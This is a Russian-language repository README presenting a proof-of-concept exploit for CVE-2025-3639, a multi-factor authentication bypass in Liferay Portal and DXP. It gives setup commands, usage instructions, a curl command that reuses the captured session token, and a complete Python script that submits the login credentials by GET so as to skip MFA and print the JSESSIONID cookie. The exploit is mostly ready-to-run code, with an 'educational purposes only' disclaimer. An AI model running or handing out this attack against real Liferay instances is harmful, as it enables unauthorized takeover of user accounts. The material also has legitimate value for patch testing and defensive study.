
уязвимость обхода аутентификации в Liferay Portal (версии 7.3.0–7.4.3.132) и Liferay DXP (различные версии от 2024.Q1 до 2025.Q1.6)
Этот репозиторий содержит Proof of Concept (PoC) для CVE-2025-3639 — уязвимости обхода аутентификации в Liferay Portal (версии 7.3.0–7.4.3.132) и Liferay DXP (различные версии от 2024.Q1 до 2025.Q1.6). PoC демонстрирует, как неаутентифицированный пользователь с действительными учетными данными может обойти многофакторную аутентификацию (MFA), изменив POST-запрос на GET-запрос, потенциально получая несанкционированный доступ к учетным записям пользователей.
Предупреждение: Этот PoC предназначен только для образовательных целей. Несанкционированное тестирование или эксплуатация этой уязвимости незаконны и неэтичны. Используйте только с явного письменного разрешения владельца системы.
sudo apt-get update
sudo apt-get install python3 python3-requests
pip3 install requests
Клонируйте репозиторий:
git clone https://github.com/6lj/CVE-2025-3639.git
cd CVE-2025-3639
Убедитесь, что установлены Python 3 и библиотека requests:
pip3 install requests
Запустите скрипт PoC с соответствующими аргументами (замените <target_url>, <username> и <password> на URL целевого экземпляра Liferay и действительные учетные данные).
poc.pypython3 poc.py --target <target_url> --username <username> --password <password>
--target: URL экземпляра Liferay Portal/DXP (например, http://example.com).--username: Действительное имя пользователя для целевого экземпляра.--password: Действительный пароль для имени пользователя.python3 poc.py --target http://192.168.1.100 --username [email protected] --password Test123!
Успех: Если эксплойт сработает, скрипт вернет действительный токен сессии или сообщение об успехе, указывающее на доступ к учетной записи пользователя без MFA.
curl -b "COOKIE=<session_token>" http://<target_url>/api/jsonws/user/get-current-user
Неудача: Если сервер возвращает ошибку (например, 401 Unauthorized или 403 Forbidden), экземпляр может быть не уязвим, или MFA не включена.
Мониторинг трафика: Используйте такой инструмент, как Wireshark, для проверки HTTP-трафика:
sudo wireshark -f "tcp port 80 or tcp port 443"
Ниже приведен пример кода для poc.py:
import requests
import argparse
def exploit(target, username, password):
print(f"[*] Attempting CVE-2025-3639 exploit on {target}")
login_url = f"{target}/c/portal/login"
params = {
"p_auth": "",
"login": username,
"password": password
}
try:
response = requests.get(login_url, params=params, allow_redirects=True)
if response.status_code == 200 and "JSESSIONID" in response.cookies:
print(f"[+] Success! Session token: {response.cookies['JSESSIONID']}")
return True
else:
print(f"[-] Failed: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[-] Error: {str(e)}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-3639 PoC for Liferay Portal/DXP")
parser.add_argument("--target", required=True, help="Target Liferay URL (e.g., http://example.com)")
parser.add_argument("--username", required=True, help="Valid username")
parser.add_argument("--password", required=True, help="Valid password")
args = parser.parse_args()
exploit(args.target, args.username, args.password)
Этот проект предназначен только для образовательных целей. Автор не несет ответственности за любое несанкционированное или незаконное использование этого PoC. Всегда получайте явное разрешение от владельца системы перед тестированием.